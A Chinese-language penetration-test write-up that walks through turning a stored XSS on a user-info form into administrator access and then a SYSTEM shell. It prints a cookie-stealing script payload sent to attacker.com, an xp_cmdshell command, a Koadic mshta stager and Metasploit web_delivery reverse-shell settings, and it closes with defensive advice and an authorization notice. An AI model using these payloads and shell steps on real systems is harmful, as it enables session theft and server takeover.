记一次由XSS一步一步获得服务器权限的渗透测试过程
字数 1228 2025-08-26 22:11:45
从XSS到服务器权限获取的渗透测试实战教学
1. 渗透测试概述
本次渗透测试的目标是通过XSS漏洞最终获取服务器权限,测试要求必须获得服务器权限或getshell才能得分,常规漏洞如XSS、CSRF或弱口令不计分。
2. 信息收集阶段
2.1 Google语法应用
使用Google语法寻找切入点:
site:子域名 intitle:注册/登录/系统
这种方法可以快速定位网站的可注册或登录页面。
3. XSS漏洞利用
3.1 漏洞发现
在个人信息提交处发现存储型XSS漏洞,该功能需要管理员审核用户提交的信息。
3.2 XSS Payload构造
构造XSS payload用于窃取管理员cookie:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
3.3 Cookie窃取与利用
- 收到管理员cookie后,使用Chrome插件EditThisCookie替换本地cookie
- 成功以管理员身份进入后台
4. 绕过同源策略
4.1 同源策略原理
- 同源定义:协议、端口和主机相同
- Cookie共享:只有同源网页才能共享,但一级域名相同时可设置
document.domain共享
4.2 实际应用
通过同源策略找到真正的管理员后台接口。
5. 权限提升
5.1 SQL命令执行
在后台找到SQL命令执行功能,使用xp_cmdshell执行系统命令:
exec master..xp_cmdshell 'powershell whoami'
确认服务器权限为system权限。
6. 反弹Shell技术
6.1 初始尝试
使用PowerShell反弹shell失败。
6.2 Koadic工具介绍
Koadic是一个后渗透工具,特点:
- 使用Windows ScriptHost(JScript/VBScript)操作
- 兼容Windows 2000到Windows 10
- 兼容Python 2和Python 3
6.3 Koadic使用步骤
- 设置监听IP和端口
- 生成mshta payload:
http://attacker_ip/XXXX
- 通过xp_cmdshell执行命令反弹到Koadic
6.4 Koadic基本命令
cmdshell 0 # 进入cmd命令模式
7. 转移到Metasploit框架
7.1 MSF设置
使用web_delivery模块:
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp_rc4
set SRVPORT 8081
set lhost XX.XX.XX.XXX
set reverselistenerbindaddress 172.xx.xx.182
run
7.2 生成PowerShell命令
在Koadic中执行生成的PowerShell命令,成功将shell转移到MSF。
8. 后渗透阶段
- 确认已获得system权限(无需提权)
- 检查内网环境(发现无域环境)
- 通过远程桌面查看服务器信息
9. 技术总结
- XSS深度利用:不应仅满足于弹窗验证,可尝试窃取cookie获取更高权限
- 工具链配合:结合Koadic和Metasploit实现复杂渗透
- 权限维持:从Web漏洞到系统权限的完整路径
- 信息收集重要性:持续的信息收集是渗透成功的关键
10. 防御建议
- 对所有用户输入进行严格过滤和转义
- 实施严格的CSP策略
- 禁用不必要的SQL Server功能如xp_cmdshell
- 管理员账户使用双因素认证
- 定期进行安全审计和渗透测试
11. 法律声明
所有渗透测试行为必须获得明确授权,未经授权的测试属于违法行为。